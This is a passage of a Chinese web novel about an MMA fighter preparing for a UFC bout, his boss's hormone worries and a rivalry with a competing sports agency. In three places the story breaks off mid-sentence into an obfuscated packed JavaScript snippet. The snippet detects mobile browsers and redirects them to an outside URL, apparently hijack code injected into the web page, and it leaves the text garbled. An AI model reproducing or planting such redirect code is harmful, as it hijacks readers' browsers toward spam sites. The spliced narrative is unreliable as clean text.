本以为是什么外国糖果,可低头一看,只见包装上赫然写着“徐福记”三字,看来是小朋友来中国之后才买的。剥开一颗糖放进嘴里,清新而略微涩嘴的酸甜味立即占据整个口腔,将那股呕吐的冲动瞬间压了下去,可谓是立竿见影。这一次,洛城的感谢比刚才真情实感了许多:“谢谢,这个糖很有用! ” “那就好。”没把这一则小插曲放在心上,KSP转而问起他这次的备赛情况:“你有继续进修柔术吗?格伦奥康纳的柔术基础比你还要差一些,这次备赛,你可以在这方面多下功夫。” 听着翻译转述的话,洛城本来津津有味地吮着柠檬糖,面色忽然间微妙地僵住了:“……有在练习。精进柔术一直是我的训练目标。” “这是个正确的方向。”闻言,KSP赞许地点点头,澄澈的双眼十分认真。被他看得心虚,洛城忍不住撇开脸,轻咳一声,不再言语。这时,边上的梅威瑟忽然问:“登峰那边请人来给你进行专项特训了吗?我见泰拳的西提猜最近在腾云给别人做特训……Seth为什么不替你邀请他?” Seth是闻人律的英文名。 被这接二连三的问题触发了警戒心,洛城迟疑两秒,含糊道:“我们有自己的备战计划。”不过梅威瑟好像并不是要打探他们的战术内容,因为他下一个问题是这样的:“腾云的Brendan似乎一直在跟你们抢教练,他是跟Seth有过节吗?” 腾云的Brendan?……谁?洛城莫名其妙,一脸茫然:“我不大清楚。” 看他的表情不似作伪,梅威瑟便淡淡一笑,不再追问。片刻后,前台响起了主持人热情的开场声。品牌方的工作人员随即走上前,引导他们来到台边候场,准备上台。洛城被安排在第三位,立在田径运动员后边儿,显得人高马大的。KSP在后头看着他明显心不在焉的侧脸,忍不住轻叹一口气,扭头对梅威瑟道:“这次比赛,Chan恐怕要输了。” 梅威瑟眉尾微挑:“为什么这样说?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572144|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “经验吧。”KSP眼神清明:“前几天我见过格伦奥康纳,他的斗志比Chan高昂太多了。Chan明显有烦心的事……以这样的状态进入八角笼,他必定会落败的。” --------------------- 活动结束后,品牌方安排了车送他们回去。在回训练馆的路上,洛城好奇地上网查了一下腾云的“Brendan”——原来这人是腾云的总裁,中文名叫褚云争,Beta,很年轻,只比闻人律大一岁。心想他应该是个富二代,洛城往下一划,就找到了对方的父亲:褚学军,国内规模最大的体育经纪公司“升冠”的老总,主营的方向有足球、网球、篮球、拳击等。 ……全都是大热的体育项目啊! 不禁咋舌,洛城默默关掉网页,心想对方经营着这么大的品牌,堪称行业巨头,为什么要跟登峰一个新兴的公司过不去呢?再一寻思,好像KSP和梅威瑟的中国经纪代理也是挂在他们旗下的,可以说各个项目的精英都被他们收入囊中。如此悬殊的差距,腾云根本没必要自降身价,给登峰的人使绊子啊? 想不明白,只能猜测大概是闻人律以前得罪过人家,才会招致如此的报复。得知了这一层可能,洛城忽然后知后觉地回想起来,他们以前确实被腾云截胡了好多次。看中的教练、正在评估的运动员又或者接洽之中的训练团队,经常是谈着谈着就没下文了,只能退而求次。 这一次也是。刚开始备赛时,洛城还指望着公司能请到西提猜给自己做特训,然而前几天出现在训练馆的却是西提猜的手下败将,桑萨克。 ……洛城忽然感觉,自己心里有些没底了。 心事重重地回到场馆,此时是下午两点十分。刚才魔爪的品牌方招待他吃了个工作餐,现在消化得七七八八,正好可以投入训练。不紧不慢地去更衣室换上透气速干的运动短裤和背心,洛城刚走到两个训练馆的连接处,一抬头就看见角落的八角笼边,七八个人聚集在那儿,正认真地讨论着什么。 一身黑色休闲服的闻人律长身玉立,赫然站在其中。 洛城又条件反射地绷紧了后颈——这样的反应完全克制不住,根本就是不由自主的,身体仿佛有自己的意识。但害怕又能怎么样呢,还不是要走过去?于是只能硬着头皮蹭上前,悄么声儿地、一声不吭地,凑到人群后头伸长了脖子,看看他们在围观什么。 ……居然是自己的备赛录像。 洛城听见他们在对着录像严肃地讨论:“我觉得开放式防守是可行的。箍颈固然稳妥,但实际上只能在僵持中徒劳地消耗力气,没有什么积极的效果。但选择开放式防守的话,洛城手长,可以运用肘击等下位防守技术……” “但是洛城的下位技术不足以抵御格伦的压迫吧?” “这一点我们也一直在加强。格伦的备赛团队肯定预料不到我们的战术,这应该能成为奇招……” 闻人律面色深沉地立在一旁静静听着,忽然抬手道:“我反对。” 众人都安静下来,朝他看去。闻人律抬起头,眼神犀利、神色冷肃:“洛城虽然拳重,但体力一直是短板。处于下位的开放式防守效率不高,如果进攻落空,反而比箍颈防守更消耗体力。万一格伦以逸待劳,那么他就会在后续的回合落入被动的局面,所以我还是建议用箍颈防守,这样更稳妥。” 闻言,洛城嘴角抽搐一下,面色有些难看了。 这时有人发现了他,低声道:“城哥回来了!”十几道直勾勾的视线瞬间朝他汇聚过来,看得洛城如同芒刺在背,手脚都不知道往哪儿摆:“……你们在讨论战术啊。” 闻人律双手环胸,直勾勾地注视着他,并不说话。坐在屏幕前的曹磊和丁锐只好站起来,道:“阿城,我们在商量要不要调整战术,把下位的开放式防守改为封闭防守。” “哦。”洛城生硬地应一声,神色明显有些抗拒:“那你们商量出结果了吗?” “还在讨论。”曹磊诚实地回答。洛城机械地点点头,随即转过身就想走:“那你们继续,出结果了再告诉我,我先去做基础训练……” “等等。”闻人律却忽然出声,冷冷地叫住了他,直截了当地问:“你为什么不想做封闭式防守。” 洛城僵硬一瞬,状若不在意地转回来:“我没有不想啊,一切都听教练组的嘛。如果他们决定修改战术,那我就转练封闭式防守呗。” ……是吗?闻人律却不大相信。备赛视频中,洛城与柔术陪练身体接触时脸上那隐约的抗拒他看得一清二楚,那种细微的焦灼和不自在太罕见了,那是洛城以前从未出现过的,他绝不可能错认。所以此时此刻,当听见他否认的话语时,闻人律眸色微沉,心里有了计较。 “好,这可是你说的。” 11. 前男友 半个钟后,教练组讨论出结果,果然是要放弃开放式防守,改练封闭式。 洛城没什么表示,木着脸点点头说“知道了”,继续密密地跳绳。只不过在跳完绳后,他微喘着走到一旁喝水。隔壁场地中,其他的格斗选手正热火朝天地贴身肉搏,这名看似所向披靡的骁勇斗士微白了脸,纠结地揉了揉眉心。 ……他已经难以心怀坦荡地跟其他Alpha皮肉相贴了。 那个夜晚虽然已经过去了二十五天,但那难堪的遭遇如骨附蛆,已经悄悄将他啃噬出了致命的孔洞。尽管洛城极力想要忘记,可每当柔术训练时,陪练人员汗腻的身体压上来……那样的重量于他而言,已不再是无关紧要的。 休息了约莫十来分钟,曹教练在八角笼边挥挥手,招呼他过去练习新战术。洛城闭上眼,认命地咽一口气,转头走到场边长凳那儿,从运动背包里拿了一件T恤套到身上。 只能努力忍耐了。 -------------------------- 今天是闻人律例行抽血检查的日子。 本想留在训练馆仔细检视洛城的柔术训练细节,但医生打来电话催促他,说血液分析也需要一定时间,你再不来,就只能明天才出结果了。无法,闻人律只得先行离开,并嘱咐丁教练一会儿记得拍视频发给他。 “真麻烦……”丁锐还犯嘀咕呢,“这个律总,又不是教练组的,天天这么操心!” 不过终究是拍给他了。 血液分析需要一个多小时,足够闻人律把视频翻过来倒过去地看个十几遍。这一次,洛城脸上没再出现隐忍抗拒的神情,只是眉心拧得更深了些、牙关咬得更紧了些,反倒显得比以前更严肃坚毅。闻人律静静地反复翻看着,忽然间轻笑一声,摇头道:“……非得敲打一下才老实。” 恰好血液分析的检查单出来了,一个眼生的小护士走过来,彬彬有礼地请他去诊室看结果。她的神情隐约有些兴奋,闻人律忍不住警觉地瞟了她两眼,问:“甘医生之前的助理呢?” “她怀孕了,胎像不稳,休假在家养胎。”小护士笑眯眯的,一双眼目不转睛地盯着他,看得闻人律不禁拧了拧眉。一会儿到了诊室,甘医生正研究着检查单,闻声抬起头,露出个一模一样的笑容,招呼他坐下:“坐吧,我跟你说一下这个结果。” 他伸手指向“睾酮”一项,道:“相比两周之前,你的睾酮水平有所下降,现在是6.04nmol/l,但还是没有恢复到往常的数值。鉴于你三周前有过一次意外用药……这可能是药物的副作用残留,也许要过一两个月才能恢复正常。” 要那么久?闻人律不禁皱眉:“后续会引发易感期吗?” “有很大可能。现在娱乐场所中流行好几种药,其中有三种比较强力的会导致激素周期紊乱,体质不好的话,这样的影响也许会持续半年以上。”说着,甘医生推一推眼镜,露出一个安抚的笑:“不过闻人先生大可放心,以你检查的频率,激素的变化还是很容易就能监测到的。你只要正常作息,保持一定的锻炼和充足的睡眠,相信很快就能恢复正常了。” “好,谢谢医生。”起身正要离开,闻人律忽然想起什么,回身望向那张检查单:“这个我可以带走吧?” “当然可以!”甘医生立即递了过去。 “好,谢谢。”接过检查单仔细叠好,攥进掌心,他跟来时一样步履匆匆,大长腿仿佛带着风,眨眼间就没了踪影。小护士伸长了脖子巴巴望着,神情间却有些失望:“哎,这么帅的Alpha,睾酮居然这么低……真是中看不中用啊。” “……你懂什么。”甘医生取下眼镜,不轻不重地瞟她一眼,“他们家的人啊,虽然平常的性激素水平比普通人要低,可一旦到了易感期或者热潮期,性激素会飙升到常规水平的三倍!所以有时候,遇事不要轻易下结论,人与人之间的个体差异很大的,你没见过的情况多了去了……” 三倍!……护士小妹惊掉了下巴。 ------------------------------- 若放在以前,闻人律是不会问医生要检查单的。自那一晚被算计之后,他便开始疑神疑鬼了,总觉得那颗不知姓名的药物会在某天再次影响到他的神志。所以每次检查后,他都要把结果拍下来,发给京城那边的私人医生看过才安心。 那老医生给闻人家服务三十几年了,一看数值就知道不对劲:“还没恢复正常吗?这都三个多星期了吧……最近有没有什么不舒服?” “倒是没有。”闻人律也不想夸大其词,只道:“就是不时有些烦躁。” “有没有燥热、惊厥、睡眠不稳等反应?” “没有。” “那就不需要太担心。”老医生经验充足,明白他这是一朝被蛇咬,十年怕井绳,于是又说了一些安慰的话。看完检查单,老医生转而问起他历年体检的事儿:“你今年做体检了吗?……还没做?京城这边他们都已经做完了,你也找个时间去全面检查一下吧。今年你爷爷的状况愈发不行了,老爷的血压和血脂也有点儿偏高。正好,再过两个月是老爷生日,少爷,要不你回来看看他们?” “……再说吧。”闻人律面色冷淡,他不说好,也不说不好,只给了一个模棱两可的回答。接着他又象征性地过问了两句爷爷的身体情况,随即干净利落地同老医生道一句谢谢,结束了通话。 被人猝不及防地提醒了“父亲”的存在,闻人律心情不大好,干脆让司机送自己去训练馆做有氧锻炼。好巧不巧,陆庭风居然也在健身,看见他还惊讶呢:“你昨晚不是刚练过吗,怎么又练?” “心烦,过来跑步。”闻人律也懒得藏着掖着,就这样大大方方地冷着脸,周身都是生人勿近的气场。 陆庭风不大清楚他是因何而心烦,摁停了跑步机在心里仔细筛查一番,试探着猜测道:“是不是害怕那个仙人跳突然跑出来,挺着大肚子找你负责?” “……你不说我还真忘了这回事。”闻人律的脸色更臭了,声音几乎是从牙缝中挤出来的:“那个人也真能沉得住气,都二十多天了,还不出现!呵,难道是没怀上?” “你拉倒吧,二十多天能看出什么?”陆庭风无语地眯起眼,一时没忍住,残忍地戳破了他的侥幸:“一般养胎都要满三个月才敢对外说呢,这才三周,胎都没坐稳,万一不小心生化了,那还怎么拿捏你啊?再说了,三个月也不够稳当——你家大势大的,要是强迫他去打胎怎么办?对方要是聪明点儿,一直捂到生是最好的选择。再有狠的,养到三岁才找上门都有可能!” 闻人律听得脸都黑了:“我谢谢你啊,几句话把我提心吊胆的期限往后延长了三年!” 陆庭风撇撇嘴:“其实还可以更长点儿……” “你闭嘴!”终于忍不住了,闻人律抬脚一踹,正中他膝弯。陆庭风嗷嗷叫着蹲下来,又哭又叫:“我好心好意跟你分析,你却这样对我……” “你这是分析吗,你这根本就是风凉话!”闻人律气不打一处来,干脆停了跑步机,黑着脸瞪他:“那天要不是你软磨硬泡,我根本不会去赴宴,也就不会遇到这种倒霉事!你不帮我宽心,反倒落井下石,哪壶不开提哪壶!陆庭风,你是不是以为我不会揍你?” 得,把这座冷冰山撩炸毛了。陆庭风暗暗咋舌,赶忙闭了嘴,老实地缩起脖子,溜到一旁划船去了。 ------------------------- 随着日期一天天接近比赛日,洛城的备赛训练愈发紧张,赛前的宣传工作也变得愈发密集。经常是白天训练完,匆忙吃个晚饭,晚上就被拉出去出席活动或者接受采访。这次带他的人依旧是陆庭风——李志明又请假了,请的还是长假,说是妈妈重病,需要亲自陪护。 洛城正准备发信息臭骂他呢,听见这个原因,手里的动作默默停了下来。 ……原来是真的有事啊。 也不知是不是自己的霉运传染给他了,亲娘一个半月前刚走,现在经纪人的老妈又生了重病……洛城坐在车上失神地发了一会儿呆,半晌抿抿唇,发了一条信息给李志明:“你缺不缺钱?缺钱的话就从我卡里转,反正你也知道密码。” 李志明依旧没有回复。 坐在副驾驶的陆庭风从后视镜中看见他黯淡的眼神,思忖几秒,道:“你不用太担心,先专心备赛。登峰的员工如果有切实的困难,公司会开通绿色募捐通道的,肯定不会耽误治疗。等比完赛,咱们还可以组织一次慰问,去看望一下他妈妈。” “嗯,好。” 见他还是郁郁寡欢,陆庭风转而问起前几日“魔爪”饮料的活动:“我见那天的活动照片里,你跟KSP相谈甚欢。怎么样,他有没有传授你什么必杀技?” “他叮嘱我要练好柔术,说格伦的柔术是弱项。”洛城说着,忽然露出哭笑不得的神情:“……可柔术也是我的弱项啊!” 陆庭风被他逗得差点儿笑出声,赶紧憋住,又问:“他俩有邀请你去参加电影首映式吗?” “邀请了啊,不过我没什么兴趣,就说备赛很忙,等比完赛再去给电影捧场。” 闻言,陆庭风在前头一挑眉,唉声叹气道:“还好你拒绝了~不然啊,我都不知道让你找什么借口爽约。” 嗯?嗅到八卦的味道,洛城终于振作,坐直身体凑上前:“为什么这么说?” “你不知道吗?”陆庭风老神在在的,又开始在背地里编排自家老友:“KSP中国的经纪约是挂在腾云旗下的。腾云的老总褚云争,你知道跟咱们律总是什么关系吗?” 洛城很笃定:“前男友关系!” 陆庭风不禁诧异地回身望他:“你怎么猜到的?” “我上网查过那个褚云争,一看他跟律总年龄相仿,长得又漂亮,那还有什么好猜的?肯定是有过一段孽缘!”洛城说得斩钉截铁,句句切中要害,把陆庭风逗得是前仰后合:“想不到你还挺聪明!……我悄悄跟你说,他俩之间渊源不浅,当年爱得有多深,现在恨得就有多狠。以后你遇见腾云的人啊,不要交往过密,也不要透露太多信息。那个褚云争搞战术有一套,咱们在他手里栽过很多次了,你务必要小心。” “知道知道,我才没那么傻呢。”不以为意地摆摆手,洛城刚想再追问一些细节,活动会场就到了。陆庭风揽着他走进大门,远远地就见几个眼熟的格斗选手站在台下,正三三两两聚在一起闲聊。 洛城的视力极好,一眼就认出那是腾云旗下的人,同时也是这次UFC数字赛出战的选手。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572145|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些人扭头看见他,脸上同时露出了不屑又不甘的神情,直勾勾的视线像一把锥子,恨不得在他身上扎出一个洞。 “他们这是嫉妒你拿下头条主赛呢。”陆庭风小声说。 “哼,有本事自己也去拿啊~”淡淡地翻一个白眼,洛城满不在乎地冷笑着,转身朝后台走去。 不料,这一转身,他就看到了立在场馆角落的闻人律。年轻有为的Alpha一身深蓝色西装,领带系得一丝不苟,头发亦抹了发胶,端整地向脑后梳去,冷冽英挺的侧脸堪称帅绝人寰。他的正对面亦立着一个容貌出挑的人——长着一双柳叶长眼的Beta男人只比他矮半个头,虽然也穿着西装,但身上那股隽秀的东方气质却依旧卓绝,仿佛一只高傲的丹顶鹤,优雅得令人着迷。 洛城看得呆愣了三秒:真好看啊……这个褚云争,真人居然比照片更美! 他们似乎在针锋相对地争论着什么,两人都面色冰冷、言辞激烈,彼此之间互不相让,完全看不出曾是一对热恋的情侣。洛城好奇地伸长了脖子张望着,正想悄声跟陆庭风八卦几句,忽然,对面传来响亮的“啪”一声,褚云争在闻人律脸上狠狠地甩了一耳光! 啪啪啪啪啪啪!洛城的嘴巴张成“O”字型,幸灾乐祸地在心里拍起了巴掌。 --------------------- 然而快乐终究是短暂的。 参加完活动,下午又要回馆继续训练,洛城感觉自己变成了一个陀螺,被抽得不停地旋转。他认命地热身、慢跑、跳绳,只不过在机械性跳跃的间隙,他莫名想起了早上闻人律那张冷若冰霜的、带着一个淡淡巴掌印的帅脸……想笑的冲动遏制不住,他当即丢开跳绳,跌坐到场边大笑了好一会儿。 ……原来你也有这么狼狈的时候啊! 曹磊拿着文件夹走过来时,就见他意犹未尽地歪在地上浪笑:“去参加个活动而已,怎么一回来就傻了?” “嘿,磊哥!”洛城眼睛一亮,翻身迎到他面前,幸灾乐祸道:“你知道腾云的老总,那个褚云争……嗯?”他一边抛媚眼一边疯狂暗示,但显然曹教练并不清楚那两人的过往,脸上都是茫然:“啊,什么?腾云的老总怎么了?” 啧,居然不知道!洛城于是很失望,也不兴奋了,没滋没味儿地站起身走向八角笼:“哎,没事没事!咱们开始训练吧。” 拳法、腿法和柔术的训练一般是交替进行的,今天要特训的是组合拳和扫踢。洛城是踢拳出身,腿又修长又结实,一个低扫能把对手的小腿踢肿,在比赛中甚至有过一次前蹴KO、一次变线踢KO。腿法是他的绝对强项,所以训练扫踢时洛城总是十分积极,一次又一次甩腿、重击,仿佛不知疲倦,直到将厚厚的腿靶踢出一个无法恢复的凹痕为止。 “格伦奥康纳是正架选手,为了躲避你的低扫,他绝对会换成反架。所以你要把你的左腿再练一练,争取一击即中,废了他的右腿,逼他换回正架!”曹教练条理清晰地分析着,让陪练换一个腿靶正要继续,洛城气喘吁吁地靠在笼网边上,看起来却有些力竭的意思。 “怎么,累了?” “没事……还行,继续吧。”洛城慢腾腾地抹一把汗,走回了笼子中心。然而这一轮扫踢却比之前迟缓了些,也无力了些,腹部仿佛无法发力,牵动不了腹外斜肌,连带着腰臀的动作也变得迟滞。曹教练微微拧眉,在本子上记下今日的数据……衰减的趋势有迹可循,洛城最近的体力好像变差了。 勉强将扫踢练完,洛城疲惫地跌坐在地,摊手摊脚地呈大字型躺下,自己也颇觉懊恼。曹教练欲言又止地看着他,问:“……还要练组合拳和实战吗?” “要啊!”洛城气喘吁吁地回答,“我再、再休息一会儿就好。” 于是十五分钟后开始练组合拳,一个钟后,实战陪练来了,又开始实战演练……曹教练眼睁睁地看着洛城的抱架越来越松弛、越来越低垂,直到颈部和侧脑连续挨了两下勾拳,随即腹部又被重重击打,痛得他闷哼一声,蜷缩着弓下了腰。 “怎么了?累了就叫停啊,又不是不让你休息!”曹教练赶忙冲进去将他扶起来,此时洛城的脸色已近苍白,嘴唇也没有了血色,双手捂着腹部雪雪呼气:“好像、好像不小心岔气了……” “快快快快,快去平躺着休息一下!” 一群人七手八脚地将他驾到场边长椅躺下,缓和了约莫十来分钟,小腹之中那股一抽一抽的疼痛才慢慢平息。见他的脸色逐渐恢复,曹教练不禁重重叹气:“不舒服就别硬撑嘛,你这样逞强有什么用!行了,今天的训练到此为止,你赶紧去按摩室松解一下,再蒸个桑拿,然后回家睡个好觉!” “啊,还要去松解啊?”洛城哭丧着脸呜呼哀哉。曹教练恨不得给他一捶:“是简单的肌肉放松按摩啦,谁要你去松解筋膜!” “哦,好……”顿时放心了,洛城揉着小腹爬起身,在两个小年轻的搀扶下有气无力地走向按摩室。半个钟后,其中一个小年轻周青云面色慌张地跑过来,叫住了正要下班的曹磊:“曹教练曹教练,怎么办,城哥在桑拿室晕倒了!” “什么?!”顿时大惊失色,曹磊赶忙扔了背包奔向桑拿室,同时朝旁人大喊一声:“那个谁,你先把车开到门口,待会儿我们去最近的医院!” 12. 体重骤降 其实被众人七手八脚地架出桑拿房时,洛城就已经醒了。他晕乎乎地挂在曹教练身上,听见他在大声地指挥:“小秦?小秦!赶紧拿水过来,先给洛城喝一口!” 然而另一侧的周青云大概是慌了神,没听见曹教练这句话,还在一个劲儿地架着洛城往外冲。感觉自己离洗浴区越来越远,直奔着外头冷气充足的器械区而去,洛城还记着自己没穿衣服,有气无力道:“你们……好歹给我穿条裤子吧?” 众人低头一看,果然,他胯部那条小浴巾摇摇欲坠,下一秒就要掉下去了。于是又好一阵手忙脚乱,给他套上了背心和宽松的运动短裤。 最近的医院距离场馆有6公里远。一路上曹教练在不停地跟他说话,让他保持清醒:“胸口痛不痛啊,能好好呼吸吗?”说着又去按他左胸,感受心跳:“节奏也不算紊乱啊……” 洛城无奈地把他的手推开:“我都说没大事了……就是桑拿房里蒸气太大,又太热了,我有点儿喘不上气,缓一缓就好了,你们还非得拉我去医院!” “不去医院怎么行!”曹磊难得板起脸,严厉地斥责他:“你都晕倒了,这种事可大可小,当然要去做个检查!万一是得了心肌炎呢?” 被他啐得嘴角一抖,洛城依旧不以为意,但也不敢再唱反调了:“没有那么倒霉吧……” 到了医院,一行人麻溜地去心内科挂号。等待叫号时,曹教练怕他被路人拍照发到网上,还特意买了个口罩给他戴着,又从周青云那儿抢了一顶鸭舌帽过来。洛城无奈地瞥他,低声道:“磊哥,你看我这个纹身——”抬起胳膊给他展示一下大臂和手背上那个标志性的青铜纹,又指指自己过分显眼的高大身材:“还有你看,那个显示屏——” 曹教练一抬头,墙壁中央挂着的电视屏上,赫然列着“2诊室 洛城(候诊中)”几个大字。 那一刻,曹磊忽然明白了闻人律讨厌这家伙的原因。 ------------------- 二十分钟后,广播终于叫到了洛城的号。医生经过简单的问诊之后,给他开了验血和心脏彩超。彩超室不在这个楼层,怕他又不小心晕倒,周青云自告奋勇地陪着他下楼做检查,曹磊则趁这个时间给家里打了个电话:“老婆,场馆这边出了点儿小事,我要晚点回家,你们先吃饭吧,别等我了……” 话没说完呢,又一通电话打了进来,是闻人律。曹磊赶忙跟老婆道别,飞速切过去:“喂,律总……你听说啦?” “嗯。他现在怎么样,清醒了吗,医生怎么说?”闻人律连珠炮似的问了三个问题。他声音虽然冷静,但急促的语速不可避免地透出一丝紧张。曹教练按部就班地回答道:“他现在没什么大碍了,已经完全清醒,医生说可能是心肌炎,但要检查过后才能确定。” “……是吗。”似乎松了一口气,闻人律沉默几秒,忽然犹疑地问:“曹教练,洛城的训练日程,是不是安排得太满了?” 满吗?曹磊本来不觉得,但想到这几天洛城不尽如人意的训练表现,以及今日的忽然昏迷,他又有些不大确定了:“可能强度有点儿大吧……之前他跟我说过,晚上睡不好,老做梦,估计也有没休息好的原因。” “那给他放一天假吧,明天先别训练了,好好睡个觉,调整一下。”闻人律说,“待会儿检查结果出来了,不管有没有事,都给我发个短信……你们训练组也上上心,洛城现在是公司的重点保护对象,他赛前要是出了岔子,咱们都没好果子吃。” “嗯,我知道的。” 挂了电话,曹教练想着他最后那句色厉内荏的警告,总感觉有点儿别扭。不多时,洛城做完彩超回来了,高大身材一走进等候室就吸引了众人的目光。曹磊哭笑不得地摁着他坐下,小声问:“你最近是不是还老做噩梦啊?晚上有没有睡够?” “最近倒是没再做梦了。”洛城被他问得一愣,挠挠下巴回想几秒,逐渐露出个心虚的笑:“而且我睡得挺好的……沾枕头就睡了,一觉到大天亮。” “那你晕什么!”曹磊无语了,刚才那点儿歉疚顿时烟消云散:“我们还以为你太累了,寻思着给你放一天假呢!结果你……”不对,话不能说太满,还是得看了检查结果再说。于是曹磊按捺着坐回去,不想,洛城捕捉到关键信息,眼睛发亮地凑了上来:“真的啊,磊哥,真的要给我放假?” “……你先别高兴,这事儿还没确定呢!”曹教练板着脸,不想让他太得意忘形。洛城“嘿嘿”一笑,卖乖道:“其实不用放一天,半天也行的。虽然我最近睡眠不错,但醒来后总想再睡个回笼觉。如果能让我多睡一个上午,那肯定什么疲劳都没有了!……” 半个钟后,验血结果出来了,心肌酶和肌钙蛋白指标正常,心脏彩超也没查出什么问题。医生再看洛城本人,身强体壮又活蹦乱跳的,也不像生病的样子,便道:“估计是最近锻炼太剧烈了,体力还没恢复又去蒸桑拿,所以才会短暂的晕厥……你训练完是不是没吃东西啊,肚子饿不饿?” 洛城很诚实:“饿,饿得不行了。” “那可能还有点儿低血糖。你回去休息半天,再好好吃个饭,应该就没什么大碍了。” ……就这么简单?曹教练有些惊异:“真的没有问题吗?” 医生奇怪地看着他:“你还想有什么问题?” “呃,我不是这个意思……那行,没事最好,谢谢医生了。”几人灰溜溜地走出医院,你看我我看你,最后一齐叹了口气,勾肩搭背地走向附近的餐厅:“……还是先填饱肚子吧,饿死了。” ------------------------- 把检查结果发给闻人律后,大老板思量再三,还是给洛城放了一整天的假。对此,总是被他嫌弃的卷发斗士表示难以置信:“居然?那个周扒皮!居然给我放假……?真是太阳从西边出来了。” 但既然得了便宜,那就要好好地享受它。洛城果真如自己所说的,睡了整整一个晚上,还不够,八点钟起床吃过早餐,又躺回去睡了个回笼觉。然而等到十二点醒来时,他整个人依旧疲乏得像被拧干了的毛巾,枯燥又皱巴,一丝精力也无。 洛城饥肠辘辘地蹭到餐厅去吃午饭,一边狼吞虎咽一边百思不得其解:怎么自己越睡越困啊?还老想吃东西……真要变成个猪了! 吃完饭惴惴不安地上秤一称,嘿,居然没重!洛城大喜,立即又抓了个三明治来吃。不过肠胃的反应似乎总会慢于大脑,等脑子告诉身体,你已经饱了的时候,饱胀的胃往往已经不堪重负了。洛城以前是知道这个道理的,但最近太过嘴馋,他忙着满足食欲,已然忘了这件事。 于是,当他快乐地摸着肚子懒洋洋躺到沙发上时,身子一平躺,胃部的食物便朝食道慢慢地蛄蛹过去。那种喉咙逐渐绷紧的感觉让洛城感到有些熟悉……操,怎么又想吐了?他警觉地瞪着眼,等待着、抑制着,然而抵抗不到十秒,他还是认命地爬起来,飞快地冲进了卫生间。 ……白吃了。 垂头丧气地爬回床上,洛城生无可恋望着天花板,才发觉待在家里无聊得很。摸出手机翻一翻微信,都是些垃圾消息,没啥紧要的事。闻人晴的对话框倒是还置顶着,忘了解除。犹豫几秒,他点进去,最新一条依旧是那段绝情的分手信,字字句句都刺痛他的自尊心。洛城逐句念着,呼吸不禁停滞两秒,血液都变冷了些……不过比起四星期前,这样细微的反应已经是好了很多。 也许再过一个月他就能彻底走出来了吧,反正也不是第一次被甩。不过多一个前女友而已,没什么好耿耿于怀的,好聚好散吧。 这样想着,洛城手指轻点,将闻人晴的对话框解除了置顶状态。 心不在焉地又荡到IG上,他打开自己的主页,见登峰的运营团队帮他发了好几条宣传视频。草草浏览一下评论区那些各式语言的留言,他打开自己的关注列表,又一个个点进去,仿佛皇帝批奏折,漫不尽心地检阅自己这段时间漏掉的讯息。 在浏览到UFC的官方IG时,洛城手指一划,一张熟悉的脸滑过屏幕,他赶忙又划了回来——原来是前阵子拍的赛前纪实发布了,就在几分钟前。看着视频中自己的面部特写,洛城总感觉有些羞耻,忙不迭点了下一条视频。猝不及防的,格伦奥康纳那张年轻而不可一世的脸出现在眼前。 “我不认为我比洛城差。我比他年轻3岁,比他强壮、比他帅气,虽然我目前的名次不如他,但他二十八岁时也只排在第十九名而已。我现在是第七名,他怎么跟我比?” “我不在乎他在特训什么,柔术、泰拳,或是拳击,我都不在乎。我会做好自己的准备,用心挥出每一拳,然后走进八角笼、打倒他,这就是唯一的结局。” 洛城定定看着,表情不变,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572146|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无波澜。其实他并不讨厌格伦奥康纳,相反,这名张扬的拳击手让他觉得颇为欣赏。有时候看着他,洛城会有一种看着二十二岁的自己的错觉——曾几何时,他也是这样不可一世的人。但那段日子已经过去很久很久了。 继续看下去,赛前纪实里出现了格伦备赛的片段。洛城在某个一闪而过的镜头中发现了一个眼熟的敦实身影,方脸、黑色短发,面部略微发福……是美国AKA训练馆的金牌教练,贾维尔门德斯。 他瞪大眼,几乎是鲤鱼打挺地坐了起来。 ……格伦居然请到了门德斯当战术教练!危机感仿佛阴影中的饿兽那般猛扑而上,洛城僵坐在床边,冷汗从后背潺潺而下,哪儿还有休息的心思?当即换了运动服,火急火燎地直奔训练馆而去。 ---------------- 回到训练馆,团队那群人见了他,不禁大笑:“不是说休假一天嘛,怎么又跑来了?” 洛城悻悻的:“格伦奥康纳还在认真训练呢,我怎么敢休息?对自己的放纵就是对敌人的仁慈……” 众人听了,又笑起来:“哎哟喂,还学会拽文了!” 曹教练倒是颇为欣慰,赞许地望着他:“不错,终于知道勤勉了,公司上下总算没白捧你。我跟你说,现在第289期数字赛中,登峰就只剩你一根独苗了,你可要发愤图强,不能辜负了大家的期望。” “啊?”洛城听得一怔:“伍沛霖那一场……没有其他人递补上来么?” 